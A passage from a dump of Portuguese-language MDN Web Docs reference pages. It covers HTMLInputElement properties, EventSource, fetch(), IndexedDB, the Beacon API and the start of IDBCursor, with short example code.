pai\n\n`form` Somente leitura \n\n`HTMLFormElement` (en-US): **Retorna** uma referência ao elemento pai `<form>` (en-US).\n\n`formAction`\n\n`string`: **Retorna / Define** o atributo `formaction` do elemento, contendo a URL de um programa que processa as informações enviadas pelo elemento. Isso substitui o atributo `action` (en-US) do formulário pai.\n\n`formEnctype`\n\n`string`: **Retorna / Define** o atributo `formenctype` do elemento, contendo o tipo de conteúdo que é usado para enviar o formulário para o servidor. Isso substitui o atributo `enctype` (en-US) do formulário pai.\n\n`formMethod`\n\n`string`: **Retorna / Define** o atributo `formmethod` do elemento, contendo o método HTTP que o navegador usa para enviar a forma. Isso substitui o atributo `method` (en-US) do formulário pai.\n\n`formNoValidate`\n\n`boolean`: **Retorna / Define** o atributo `formnovalidate` do elemento, indicando que o formulário não deve ser validado quando ele é submetido. Isso substitui o atributo `novalidate` (en-US) do formulário pai.\n\n`formTarget`\n\n`string`: **Retorna / Define** o atributo `formtarget` do elemento, contendo um nome ou palavra-chave indicando onde exibir o resposta recebida após o envio do formulário. Isso substitui o atributo `target` (en-US) do formulário pai.\n\n### Propriedades de instância que se aplicam a qualquer tipo de elemento de entrada que não esteja oculto\n\n`autofocus`\n\n`boolean`: **Retorna / Define** o atributo `autofocus` do elemento, que especifica que um controle de formulário deve ter foco de entrada quando a página é carregada, a menos que o usuário a substitua, por exemplo, digitando um controle diferente. Apenas um elemento de formulário em um documento pode ter o atributo `autofocus`.\n\n`disabled` (en-US)\n\n`boolean`: **Retorna / Define** o atributo `disabled` do elemento, indicando que o controle não está disponível para interação. Os valores de entrada não serão enviados com o formulário. Veja também `readonly`.\n\n`required`\n\n`boolean`: **Retorna / Define** o atributo `required` do elemento, indicando que o usuário deve preencher um valor antes de enviar um formulário.\n\n`validationMessage` Somente leitura \n\n`string`: **Retorna** uma mensagem localizada que descreve as restrições de validação que o controle não atende (se houver). Esta é a string vazia se o controle não for um candidato para validação de restrição (`willValidate` (en-US) é `false`), ou se satisfizer suas restrições. Este valor pode ser definido pelo método `setCustomValidity()` (en-US).\n\n`validity` Somente leitura \n\n`ValidityState`: **Retorna** o estado de validade atual do elemento.\n\n`willValidate` Somente leitura \n\n`boolean`: **Retorna** se o elemento é um candidato para validação de restrição. É `false` se alguma condição o impedir de validação de restrição, incluindo: seu `type` é um dos `hidden`, `reset` ou `button`, tem um ancestral `<datalist>` ou sua propriedade `disabled` é `true`.\n\n### Propriedades de instância que se aplicam apenas a elementos do tipo caixa de seleção ou rádio\n\n`checked`\n\n`boolean`: **Retorna / Define** o estado atual do elemento.\n\n`defaultChecked`\n\n`boolean`: **Retorna / Define** o estado padrão de um botão de rádio ou caixa de seleção conforme originalmente especificado no HTML que criou este objeto.\n\n`indeterminate`\n\n`boolean`: **Retorna** se a caixa de seleção ou o botão de opção está em estado indeterminado. Para caixas de seleção, o efeito é que a aparência da caixa de seleção é obscurecida/acinzentada de alguma forma para indicar que seu estado é indeterminado (não marcado, mas não desmarcado). Não afeta o valor do atributo `checked`, e clicar na caixa de seleção definirá o valor como falso.\n\n### Propriedades de instância que se aplicam apenas a elementos do tipo imagem\n\n`alt`\n\n`string`: **Retorna / Define** o atributo `alt` do elemento, contendo texto alternativo a ser usado.\n\n`height`\n\n`string`: **Retorna / Define** o atributo `height` do elemento, que define a altura da imagem exibida para o botão.\n\n`src`\n\n`string`: **Retorna / Define** o atributo `src` do elemento, que especifica um URI para a localização de uma imagem para exibir no botão gráfico de envio.\n\n`width`\n\n`string`: **Retorna / Define** o atributo `width` do elemento, que define a largura da imagem exibida para o botão.\n\n### Propriedades de instância que se aplicam apenas a elementos do tipo arquivo\n\n`accept`\n\n`string`: **Retorna / Define** o atributo `accept` do elemento, contendo uma lista separada por vírgulas de tipos de arquivos que podem ser selecionado.\n\n`allowdirs` \nNon-standard\n\n`boolean`: Parte da API de upload de diretório não padrão. Indica se permite ou não que diretórios e arquivos sejam selecionados na lista de arquivos. Implementado apenas no Firefox e está oculto atrás de uma preferência.\n\n`files` (en-US)\n\n`FileList`: **Retorna / Define** uma lista de objetos `File` representando os arquivos selecionados para upload.\n\n`webkitdirectory` (en-US)\n\n`boolean`: **Retorna** o atributo `webkitdirectory`. Se for verdadeiro, a interface do seletor do sistema de arquivos aceita apenas diretórios em vez de arquivos.\n\n`webkitEntries` (en-US)\n\n`FileSystemEntry` (en-US) array: **Descreve** os arquivos ou diretórios atualmente selecionados.\n\n### Propriedades de instância que se aplicam apenas a elementos visíveis contendo texto ou números\n\n`autocomplete`\n\n`string`: **Retorna / Define** o atributo `autocomplete` do elemento, indicando se o valor do controle pode ser automaticamente preenchido pelo navegador.\n\n`max`\n\n`string`: **Retorna / Define** o atributo `max` do elemento, contendo o valor (numérico ou data-hora) máximo para este item, que não deve ser menor que seu valor mínimo (atributo `min`).\n\n`maxLength`\n\n`unsigned long`: **Retorna / Define** o atributo `maxlength` do elemento, contendo o número máximo de caracteres (em pontos de código Unicode) que o valor pode ter.\n\n`min`\n\n`string`: **Retorna / Define** o atributo `min` do elemento, contendo o valor (numérico ou data-hora) mínimo para este item, que não deve ser maior que seu valor máximo (atributo `max`).\n\n`minLength`\n\n`unsigned long`: **Retorna / Define** o atributo `minlength` do elemento, contendo o número mínimo de caracteres (em Unicode pontos de código) que o valor pode ter.\n\n`pattern`\n\n`string`: **Retorna / Define** o atributo `pattern` do elemento, contendo uma expressão regular em que o valor do controle é verificado contra. Use o atributo `title` para descrever o padrão para ajudar o usuário. Este atributo só se aplica quando o valor do atributo `type` é `text`, `search`, `tel`, `url` ou `e-mail`.\n\n`placeholder`\n\n`string`: **Retorna / Define** o atributo `placeholder` do elemento, contendo uma dica para o usuário do que pode ser inserido no controle. O texto do espaço reservado não deve conter retornos de carro ou avanços de linha. Este atributo só se aplica quando o valor do atributo `type` é `text`, `search`, `tel`, `url` ou `e-mail`.\n\n`readOnly`\n\n`boolean`: **Retorna / Define** o atributo `readonly` do elemento, indicando que o usuário não pode modificar o valor do controle. Isso é ignorado se o `type` for `hidden`, `range`, `color`, `checkbox`, `radio`, `file`, ou um tipo de botão.\n\n`selectionEnd`\n\n`unsigned long`: **Retorna / Define** o índice final do texto selecionado. Quando não há seleção, isso retorna o deslocamento do caractere imediatamente após a posição atual do cursor de entrada de texto.\n\n`selectionStart`\n\n`unsigned long`: **Retorna / Define** o índice inicial do texto selecionado. Quando nada é selecionado, retorna a posição do cursor de entrada de texto (caret) dentro do elemento `<input>`.\n\n`selectionDirection`\n\n`string`: **Retorna / Define** a direção em que a seleção ocorreu. Os valores possíveis são: `forward` (a seleção foi realizada na direção de início a fim do local atual), `backward` (a direção oposta) ou `none` (a direção é desconhecida).\n\n`size`\n\n`unsigned long`: **Retorna / Define** o atributo `size` do elemento, contendo o tamanho visual do controle. Este valor está em pixels, a menos que o valor de `type` seja `text` ou `password`, caso em que é um número inteiro indicando o número de caracteres. Aplica-se somente quando `type` é definido como `text`, `search`, `tel`, `url`, `email` ou `senha`.\n\nMétodos de instância\n--------------------\n\n`blur()` (en-US)\n\nRemove o foco do elemento de entrada; as teclas digitadas subsequentemente não irão a lugar nenhum.\n\n`click()`\n\nSimula um clique no elemento de entrada.\n\n`focus()` (en-US)\n\nFoca no elemento de entrada; os pressionamentos de tecla irão posteriormente para este elemento.\n\n`select()`\n\nSeleciona todo o texto no elemento de entrada e o foca para que o usuário possa substituir posteriormente todo o seu conteúdo.\n\n`setSelectionRange()`\n\nSeleciona um intervalo de texto no elemento de entrada (mas não o focaliza).\n\n`setRangeText()` (en-US)\n\nSubstitui um intervalo de texto no elemento de entrada por um novo texto.\n\n`setCustomValidity()` (en-US)\n\nDefine uma mensagem de validação personalizada para o elemento. Se esta mensagem não for a string vazia, o elemento está sofrendo de um erro de validade personalizado e não é validado.\n\n`showPicker()` (en-US)\n\nMostra um seletor de navegador para data, hora, cor e arquivos.\n\n`checkValidity()` (en-US)\n\nRetorna um valor booleano que é `false` se o elemento for um candidato para validação de restrição e não satisfizer suas restrições. Nesse caso, ele também dispara um evento `invalid` (en-US) no elemento. Ele retorna `true` se o elemento não for um candidato para validação de restrição ou se satisfizer suas restrições.\n\n`reportValidity()` (en-US)\n\nExecuta o método `checkValidity()` e, se retornar falso (para uma entrada inválida ou nenhum atributo de padrão fornecido), ele relata ao usuário que a entrada é inválida da mesma maneira como se você enviasse um formulário.\n\n`stepDown()` (en-US)\n\nDecrementa o `value` em (`step` \\* n), em que n é padronizado como 1 se não for especificado. Lança uma exceção `InvalidStateError`:\n\n* se o método não for aplicável para o valor `type` atual,\n* se o elemento não tiver valor `step`,\n* se o `value` não puder ser convertido em um número,\n* se o valor resultante estiver acima de `max` ou abaixo de `min`.\n\n`stepUp()` (en-US)\n\nIncrementa o `value` em (`step` \\* n), em que n é padronizado como 1 se não for especificado. Lança uma exceção `InvalidStateError`:\n\n* se o método não for aplicável para o valor atual de `type`,\n* se o elemento não tiver valor `step`,\n* se o `value` não puder ser convertido em um número,\n* se o valor resultante estiver acima de `max` ou abaixo de `min`.\n\nEventos\n-------\n\nOuça esses eventos usando `addEventListener()` ou atribuindo um ouvinte de evento à propriedade `oneventname` desta interface:\n\n`input`\n\nDispara quando o `value` de um elemento `<input>`, `<select>` ou `<textarea>` foi alterado. Observe que na verdade isso é acionado na interface `HTMLElement` (en-US) e também se aplica a elementos `contenteditable`, mas também listamos aqui porque é mais comumente usado com elementos de entrada de formulário.\n\n`invalid` (en-US)\n\nDisparado quando um elemento não satisfaz suas restrições durante a validação da restrição.\n\n`search` (en-US) \nNon-standard\n\nDisparado quando uma pesquisa é iniciada em um `<input>` de `type=\"search\"`.\n\n`selectionchange` (en-US) evento \nExperimental\n\nDispara quando a seleção de texto em um elemento `<input>` foi alterada.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # htmlinputelement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Elemento HTML implementando esta interface: `<input>`"}
{"title":"EventSource - APIs da Web","text":"EventSource\n===========\n\nA interface `EventSource` é usada para receber eventos enviados pelo servidor (server-sent events (en-US)). Ele se conecta via HTTP em um servidor e recebe eventos com o formato `text/event-stream`. A conexão permanece aberta até ser fechada chamando `EventSource.close()` (en-US).\n\nAssim que a conexão estiver aberta, mensagens recebidas do servidor são entregues para o seu código na forma de eventos `message`.\n\nAo contrário dos WebSockets, server-sent events são unidirecionais; ou seja, mensagens são entregues em uma direção, do servidor para o cliente (por exemplo, um navegador web). Isso torna-os uma excelente escolha quando não há necessidade de enviar mensagens do cliente para o servidor. Por exemplo, `EventSource` é uma abordagem útil para lidar com atualizações de status de mídias sociais, feeds de notícias, or entregar dados para um mecanismo de armazenamento do lado cliente como o IndexedDB ou o web storage.\n\nConstrutor\n----------\n\n`EventSource()`\n\nCria um novo `EventSource` para receber enventos enviados pelo servidor de uma URL específica, opcionalmente no modo de credenciais.\n\nPropriedades\n------------\n\n*Essa interface também herda propriedades do seu pai, `EventTarget`.*\n\n`EventSource.readyState` (en-US) Somente leitura \n\nUm número representando o estado da conexão. Valores possíveis são `CONNECTING` (`0`), `OPEN` (`1`), ou `CLOSED` (`2`).\n\n`EventSource.url` (en-US) Somente leitura \n\nUma `DOMString` representando a URL da origem.\n\n`EventSource.withCredentials` (en-US) Somente leitura \n\nUm `Boolean` (en-US) indicando se a `EventSource` foi instanciada com credenciais cross-origin (CORS) definidas (`true`) ou não (`false`, o padrão).\n\n### Eventos\n\n`EventSource.onerror`\n\nÉ um `event handler` chamado quando um erro ocorre e o evento `error (en-US)` é despachado para o objeto `EventSource`.\n\n`EventSource.onmessage` (en-US)\n\nÉ um `event handler` chamado quando um evento `message` é recebido, ou seja, quando uma mensagem está sendo recebida da origem.\n\n`EventSource.onopen` (en-US)\n\nÉ um `event handler` chamado quando um evento `open` é recebido, ou seja, logo após a abertura da conexão.\n\nMétodos\n-------\n\n*Essa interface herda métodos de seu pai, `EventTarget`.*\n\n`EventSource.close()` (en-US)\n\nFecha a conexão, se houver, e define o atributo `readyState` como `CLOSED`. Se a conexão já estiver fechada, esse método não faz nada.\n\nExemplos\n--------\n\nNesse exemplo básico, um `EventSource` é criado para receber eventos do servidor; a página com o nome `\"sse.php\"` é responsável por gerar os eventos.\n\n\n```js\nvar evtSource = new EventSource(\"sse.php\");\nvar eventList = document.querySelector(\"ul\");\n\nevtSource.onmessage = function (e) {\n  var newElement = document.createElement(\"li\");\n\n  newElement.textContent = \"message: \" + e.data;\n  eventList.appendChild(newElement);\n};\n```\n\n\nCada evento recebido faz com que o handler do evento `onmessage` no objeto `EventSource` seja executado. Ele, em contrapartida, cria um novo elemento `<li>` e escreve os dados da mensagem nele, e em seguida concatena o novo elemento na lista já presente no documento.\n\n**Nota:** Você pode encontrar um exemplo completo no GitHub — veja Simple SSE demo using PHP.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-eventsource-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Server-sent events (en-US)\n* Usando server-sent events"}
{"title":"fetch() - APIs da Web","text":"fetch()\n=======\n\nO método global **`fetch()`** inicia o processo de busca de um recurso da rede, retornando uma promessa que é cumprida assim que a resposta estiver disponível.\n\nA promessa é resolvida para o objeto `Response` que representa a resposta à sua solicitação. A promessa *não* rejeita erros de HTTP - apenas rejeita erros de rede. Você deve usar os manipuladores `then` para chechar erros de HTTP.\n\n`WindowOrWorkerGlobalScope` é implementado por `Window` e\n `WorkerGlobalScope` (en-US), o que significa que o método `fetch()` está disponível em praticamente qualquer contexto no qual você queira buscar recursos.\n\n Uma promessa `fetch()` só é rejeitada quando um erro de rede é encontrado (que é geralmente quando há um problema de permissão ou\n similar). Uma promessa `fetch()` *não* rejeita erros HTTP (`404`, etc.). Em vez disso, um manipulador\n `then()` deve checar as propriedades `Response.ok` (en-US) e/ou\n `Response.status` (en-US).\n\nO método `fetch()` é controlado pela diretiva `connect-src` da Content Security Policy em vez da diretiva dos recursos que está recuperando.\n\n> \n> \n> **Note:** Os parâmetros do método `fetch()` são idênticos\n>  aos do construtor `Request()`.\n>  \n> \n> \n> \n\nSintaxe\n-------\n\n\n```js\nconst fetchResponsePromise = fetch(resource [, init])\n```\n\n### Parâmetros\n\n`resource`\n\nIsto define o recurso que você deseja buscar. Isto pode ser:\n\n* String ou qualquer outro objeto com um stringifier (en-US) — incluindo um objeto `URL` — que fornece a URL do recurso que você deseja buscar.\n* Um objeto `Request`.\n\n`init` Optional\n\nUm objeto contendo quaisquer configurações customizadas que você deseja aplicar à solicitação. As opções possíveis são:\n\n`method`\n\n O método da requisição, por exemplo `GET`, `POST`. Observe que o cabeçalho\n `Origin` não é definido em requisições Fetch com um método de\n `HEAD` ou `GET`.\n (Este comportamento foi corrigido no Firefox 65 — consulte Erro do Firefox 1508661).\n\n\n`headers`\n\n Qualquer cabeçalho que você queira adicionar à sua requisição, contido dentro de um objeto\n `Headers` (en-US) ou um objeto literal com valores `String`. Observe que alguns nomes são proibidos.\n\n\n`body`\n\n Qualquer corpo que você queira adicionar à sua requisição: podendo ser um\n `Blob`, `BufferSource`, `FormData`,\n `URLSearchParams`, `USVString` (en-US), ou um objeto\n `ReadableStream` (en-US). Note que uma requisição usando os métodos\n `GET` or `HEAD` não pode ter um corpo.\n\n\n`mode`\n\n O modo que deseja usar para a requisição, por exemplo, `cors`,\n `no-cors`, ou `same-origin`.\n\n\n`credentials`\n\nControla o que os navegadores fazem com as credenciais (cookies, entradas de Autenticação HTTP, e certificados de cliente TLS). Deve ser uma das seguintes strings:\n\n`omit`\n\nDiz aos navegadores para excluir credenciais da requisição, e ignorar quaisquer credenciais enviadas de volta na resposta (por exemplo, qualquer cabeçalho `Set-Cookie`).\n\n`same-origin`\n\nDiz aos navegadores para incluir credenciais com requisições para URLs da mesma origem, e usar quaisquer credenciais enviadas de volta nas respostas de URLs da mesma origem.\n\n`include`\n\nDiz aos navegadores para incluir credenciais em ambas requisições `same-origin` e `cross-origin`, e sempre use as credenciais enviadas de volta nas respostas.\n\n> \n> **Note:** As credenciais podem ser incluídas em requisições cross-origin simples e \"finais\", mas não devem ser incluídas em requisições de comprovação de CORS.\n> \n> \n> \n\n\n`cache`\n\nUma string indicando como a requisição vai interagir com o cache HTTP do navegador. Os valores possíveis, `default`, `no-store`, `reload`, `no-cache`, `force-cache`, e `only-if-cached`, estão documentados no artigo para a propriedade `cache` (en-US) do objeto `Request`.\n\n`redirect`\n\nComo lidar com uma resposta `redirect`:\n\n* `follow`: Segue os redirecionamentos automaticamente. A menos que esteja definido de outra forma, o redirecionamento é definido, por padrão, como `follow`.\n* `error`: Aborta com um erro se o redirecionamento ocorrer.\n* `manual`: O autor da chamada pretende processar a resposta em outro contexto.\n Veja WHATWG fetch standard para mais informações.\n\n`referrer`\n\n Uma `USVString` (en-US) especificando o referenciador da requisição. Isso pode ser uma URL\n same-origin, `about:client`, ou uma string vazia.\n\n\n`referrerPolicy`\n\n Especifica a referrer\npolicy para usar para a requisição. Pode ser `no-referrer`,\n `no-referrer-when-downgrade`, `same-origin`,\n `origin`, `strict-origin`,\n `origin-when-cross-origin`,\n `strict-origin-when-cross-origin` ou `unsafe-url`.\n\n\n`integrity`\n\n Contém o valor subresource integrity (en-US)\n da requisição (por exemplo,\n `sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=`).\n\n\n`keepalive`\n\n A opção `keepalive` pode ser usada para permitir que a requisição sobreviva à página. A busca com a flag `keepalive` é uma substituição para a API\n `Navigator.sendBeacon()` (en-US).\n\n\n`signal`\n\nUma instância de objeto `AbortSignal`; permite comunicar com uma requisição fetch e abortá-la, se desejado, por meio de um `AbortController` (en-US).\n\n\n### Valor de retorno\n\nUma `Promise` que resolve para um objeto `Response`.\n\n### Exceções\n\n`AbortError`\n\n A requisição foi abortada devido a uma chamada ao `AbortController` (en-US) ou ao método\n `abort()` (en-US).\n\n\n`TypeError`\n\nPode ocorrer pelos seguintes motivos:\n\n\n\n| Motivo | Exemplos de falha |\n| --- | --- |\n| Nome do cabeçalho inválido | \n```\n// space in \"C ontent-Type\"\nconst headers = {\n    \"C ontent-Type\": \"text/xml\",\n    \"Breaking-Bad\": \"<3\"\n};\nfetch('https://example.com/', { headers });\n        \n```\n |\n| Valor do cabeçalho inválido. O objeto header deve conter exatamente dois elementos. | \n```\nconst headers = [\n    [\"Content-Type\", \"text/html\", \"extra\"],\n    [\"Accept\"],\n];\nfetch('https://example.com/', { headers });\n        \n```\n |\n| URL inválida ou esquema, ou está usando um esquema que fetch não suporta, ou está usando um esquema que não é suportado por um modo de requisição específico. | \n```\nfetch('blob://example.com/', { mode: 'cors' })\n        \n```\n |\n| URL que inclui credenciais | \n```\nfetch('https://user:password@example.com/')\n        \n```\n |\n| URL de referência inválida | \n```\nfetch('https://example.com/', {\n  referrer: './abc\\u0000df'\n})\n        \n```\n |\n| Modos inválidos (`navigate` and `websocket`) | \n```\nfetch('https://example.com/', { mode: 'navigate' })\n        \n```\n |\n| Se o modo de cache da requisição é \"only-if-cached\" e o modo da requisição é diferente de \"same-origin\". | \n```\nfetch('https://example.com/', {\n  cache: 'only-if-cached',\n  mode: 'no-cors'\n})\n        \n```\n |\n| \n Se o método da requisição for um token de nome inválido ou um dos cabeçalhos proibidos:\n CONNECT, TRACE or TRACK\n  | \n```\nfetch('https://example.com/', { method: 'CONNECT' })\n        \n```\n |\n| Se o modo da requisição é \"no-cors\" e o método da requisição não é um método CORS-safe-listed (GET, HEAD ou POST) | \n```\nfetch('https://example.com/', {\n  method: 'CONNECT',\n  mode: 'no-cors'\n})\n        \n```\n |\n| Se o método da requisição é GET ou HEAD e o corpo não for nulo(null) ou undefined. | \n```\nfetch('https://example.com/', {\n  method: 'GET',\n  body: new FormData()\n})\n        \n```\n |\n| Se fetch gera um erro de rede. |  |\n\nExemplos\n--------\n\n No nosso exemplo de requisição Fetch (veja Fetch Request live) nós criamos um novo objeto `Request` usando um constructor relevante, depois buscamos isso usando uma chamada ao `fetch()`. Uma vez que estamos buscando uma imagem, executamos\n `Response.blob()` (en-US) na resposta para dar a ela o tipo MIME adequado para que lidemos adequadamente\n handled properly, então criamos um Objeto URL disso e exibimos isso em um elemento\n `<img>`.\n\n\n```js\nconst myImage = document.querySelector(\"img\");\n\nlet myRequest = new Request(\"flowers.jpg\");\n\nfetch(myRequest)\n  .then(function (response) {\n    if (!response.ok) {\n      throw new Error(`HTTP error! status: ${response.status}`);\n    }\n    return response.blob();\n  })\n  .then(function (response) {\n    let objectURL = URL.createObjectURL(response);\n    myImage.src = objectURL;\n  });\n```\n\n\n No exemplo Fetch\nwith init then Request (veja Fetch\nRequest init live), nós fazemos a mesma coisa exceto que passamos em um objeto\n `init` quando invocamos o `fetch()`:\n\n\n```js\nconst myImage = document.querySelector(\"img\");\n\nlet myHeaders = new Headers();\nmyHeaders.append(\"Accept\", \"image/jpeg\");\n\nconst myInit = {\n  method: \"GET\",\n  headers: myHeaders,\n  mode: \"cors\",\n  cache: \"default\",\n};\n\nlet myRequest = new Request(\"flowers.jpg\");\n\nfetch(myRequest, myInit).then(function (response) {\n  // ...\n});\n```\n\n\n Você também poderia passar o objeto `init` com o constructor\n `Request` para obter o mesmo efeito:\n\n\n```js\nlet myRequest = new Request(\"flowers.jpg\", myInit);\n```\n\n\n Você também pode usar um object literal como `headers` em\n `init`.\n\n\n```js\nconst myInit = {\n  method: \"GET\",\n  headers: {\n    Accept: \"image/jpeg\",\n  },\n  mode: \"cors\",\n  cache: \"default\",\n};\n\nlet myRequest = new Request(\"flowers.jpg\", myInit);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # fetch-method |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Fetch API\n* ServiceWorker API\n* HTTP access control (CORS)\n* HTTP"}
{"title":"IndexedDB - APIs da Web","text":"IndexedDB\n=========\n\nIndexedDB é uma API para armazenamento client-side de quantidades significantes de informações e buscas com alta performance por índices. Enquanto DOM Storage (en-US) é útil para armazenamento de pequenas quantidade de dados, IndexedDB é a solução para grande porção de dados estruturados.\n\nEsta página basicamente é o ponto de entrada para uma descrição técnica dos objetos da API. Precisando de suporte ainda mais inicial consulte os Conceitos Básicos sobre IndexedDb (en-US). Para mais detalhes sobre a implementação, veja Usando IndexedDB (en-US).\n\nIndexedDB provém APIs separadas para acesso tanto síncrono quanto assíncrono. As APIs síncronas devem ser utilizadas apenas dentro de Web Workers (en-US), apesar de não ser implementada por nenhum navegador atualmente. A API assíncrona funciona tanto com ou sem Web Workers, sendo que o Firefox ainda não implementou este.\n\nAPI Assíncrona\n--------------\n\nOs métodos da API assíncrona são chamados sem bloquear a thread que os chama. Para obter acesso assíncrono à database, chame open() (en-US) no atributo indexedDB (en-US) do objeto window (en-US), que retornará um objeto `IDBRequest` (en-US). Operações assíncronas comunicam-se com a aplicação que os chamam executando eventos nos objetos `IDBRequest` (en-US).\n\n**Nota:** Nota: O objeto indexedDB é prefixado em navegadores mais antigos (propriedade mozIndexedDB em Gecko < 16, webkitIndexedDb em Chrome e msIndexedDB no IE 10).\n\nAs interfaces da API assíncrona do IndexedDB são:\n\n`IDBFactory`\n\nProvém acesso ao banco de dados. É a interface implementado pelo objeto global indexedDB e é, portanto, o ponto de entrada para API.\n\n`IDBCursor`\n\nItera sobre objectStores e índices\n\n`IDBCursorWithValue` (en-US)\n\nItera sobre objectStores e índices e retorna o atual valor do cursor\n\n`IDBDatabase` (en-US)\n\nRepresents a connection to a database. It's the only way to get a transaction on the database.\n\n`IDBEnvironment`\n\nProvides access to a client-side database. It is implemented by the `window` and `worker` objects.\n\n`IDBIndex` (en-US)\n\nProvides access to the metadata of an index.\n\n`IDBKeyRange` (en-US)\n\nDefine um alcance das chaves.\n\n`IDBObjectStore` (en-US)\n\nRepresenta um ObjectStore\n\n`IDBOpenDBRequest` (en-US)\n\nRepresenta uma requisição para abrir o banco de dados.\n\n`IDBRequest` (en-US)\n\nProvém acesso a resultados de requisições assíncronas ao banco de dados e a objetos do banco de dados. É o que você obtém quando chama um método assíncrono.\n\n`IDBTransaction` (en-US)\n\nRepresenta uma transação. Você cria a transação no banco de dados, especifíca o escopo (tal como qual objectStore você deseja acessar), e determina que tipo de acesso (apenas leitura ou também escrita) daquilo que você deseja.\n\nUma versão anterior da especificação também define estas interfaces agora removidas. Elas ainda estão documentadas caso você precise atualizar códigos escritos anteriormente:\n\n`IDBVersionChangeRequest`\n\nRepresenta uma requisição para alterar a versão do banco de dados. O modo de alterar a versão do banco de dados mudou então (chamando IDBFactory.open sem também chamar IDBDatabase.setVersion) e a interface IDBOpenDBRequest agora tem a funcionalidade do removido IDBVersionChangeRequest.\n\n`IDBDatabaseException`\n\nRepresenta condições de erro que podem ser encontradas enquanto performando operações no banco de dados.\n\n\n**Nota:** há também a versão síncrona da API (en-US). A versão síncrona não tem implementação em qualquer navegador. É feita para ser utilizada com WebWorkers (en-US).\n\nLimites de Armazenamento\n------------------------\n\nNão há qualquer limite em um único elemento da database. Entretanto podem haver limites quanto ao tamanho de cada banco de dados. Este limite (e a maneira com qual o usuário chega a ele) pode variar de um navegador para outro:\n\n* Firefox: não há limite no tamanho do banco de dados. A interface do usuário irá apenas pedir a permissão para armazenar conjuntos com tamanho maior que 50mb. Este limite de tamanho pode ser customizado através da preferência dom.indexedDB.warningQuota (que é definida em http://mxr.mozilla.org/mozilla-central/source/modules/libpref/src/init/all.js).\n* Google Chrome: veja https://developers.google.com/chrome...rage#temporary\nExemplos\n--------\n\n* Um grande exemplo de para o que o indexedDb pode ser utilizado na web é o exemplo do Marco Castelluccion, vencedor do IndexedDB Mozilla DevDerby. A demonstração vencedora foi o eLibri, uma aplicação biblioteca e leitora de Ebook.\n* Você deveria também checar a referência de aplicações exemplo neste documento de referências: Notificações de A Fazer (veja ao vivo). Nem todo fragmento de código aparece neste exemplo, mas todo exemplo usa a mesma estrutura de dados e sintaxe, e fará sentido no contexto da aplicação.\nVeja Também\n-----------\n\n* Conceitos Básicos sobre IndexedDB (en-US)\n* Utilizando IndexedDB (en-US)\n* Armazenando Imagens e Arquivos com IndexedDB\n* Especificação da API de Indexed Database\n* IndexedDB — O armazenamento em seu Navegador\n* IndexedDB Exemplos\n* IndexedDB Polyfill/Shim para navegadores que apenas suportam WebSQL (e.g. mobile WebKit)\n* JQuery IndexedDB plugin"}
{"title":"Beacon API - APIs da Web","text":"Beacon API\n==========\n\nA **`Beacon`** API é usada para enviar um request assíncrono e não bloqueante para um servidor web. O request não espera por uma resposta. Ao contrário de requests feitos utilizando `XMLHttpRequest` ou `Fetch`, o navegador garante que irá iniciar e aguardar a conclusão do request antes da página ser desmontada.\n\nO principal caso de uso da Beacon API é enviar dados de análise, como eventos do lado do cliente ou dados da sessão para o servidor. Historicamente, os sites costumavam usar `XMLHttpRequest` para isso, mas os navegadores não garantem o envio de solicitações assíncronas em algumas circunstâncias (por exemplo, se a página vai ser desmontada). Para evitar esses problemas, os sites usam diversas técnicas, como enviar o request síncrono, mas isso tem um efeito colateral ruim na responsividade. Como beacon requests são assíncronos quanto garantidas de serem enviados, elas combinam desempenho e confiabilidade.\n\nPara mais detalhes sobre a motivação e uso dessa API, veja a documentação sobre o método `navigator.sendBeacon()` (en-US)\n\n**Nota:** essa API *não está disponível* nos Web Workers (não é exposta através do `WorkerNavigator` (en-US)).\n\nInterface\n---------\n\nEssa API define apenas um método: `navigator.sendBeacon()` (en-US).\n\nO método recebe dois argumentos, a URL e os dados que serão enviados no request. Os dados são opcionais e seu tipo pode ser um `TypedArray` (en-US), `DataView`, `Blob`, uma string ou objeto, ou um objeto `FormData`. Se o navegador colocar na fila o request para ser executado com sucesso o método retornará `true`; se não retornará `false`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Beacon # sendbeacon-method |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Beacon standard\n* Beacon CanIUse data\n* Intercepting beacons through service workers; Ehsan Akhgari; 2015-Apr-08\n* https://webkit.org/blog/8821/link-click-analytics-and-privacy/\n* Beaconing in Practice"}
{"title":"IDBCursor - APIs da Web","text":"IDBCursor\n=========\n\nO **`IDBCursor`** é uma interface da API IndexedDB que representa o cursor (en-US) para atravessar ou interagir sobre vários registros em um banco de dados.\n\nO cursor tem uma fonte que indica qual índice ou armazenamento o objeto está sobre a iteração. Ele tem uma posição dentro do intervalo, e move-se numa direcção que é aumentar ou diminuir na ordem de chaves ficha. O cursor permite que um aplicativo para processar de forma assíncrona todos os registros na faixa do cursor.\n\nPode ter um número ilimitado de cursores ao mesmo tempo. Você sempre consegue o mesmo objeto IDBCursor representando um determinado cursor. As operações são realizadas na loja de índice ou objeto subjacente.\n\n**Note:** This feature is available in Web Workers\n\nMethods\n-------\n\n`IDBCursor.advance()` (en-US)\n\nDefine o número de vezes um cursor deve mover a sua posição para a frente.\n\n`IDBCursor.continue()` (en-US)\n\nAvança o cursor para a próxima posição ao longo de sua direção, para o item cuja chave corresponde ao parâmetro `chave` opcional.\n\n`IDBCursor.delete()` (en-US)\n\nRetorna um `IDBRequest` (en-US) objeto, e, em um segmento separado, exclui o registro na posição do cursor, sem alterar a posição do cursor. Isso pode ser usado para excluir registros específicos.\n\n`IDBCursor.update()` (en-US)\n\nRetorna um `IDBRequest` (en-US) objeto, e, em um segmento separado, atualiza o valor na posição atual do cursor em 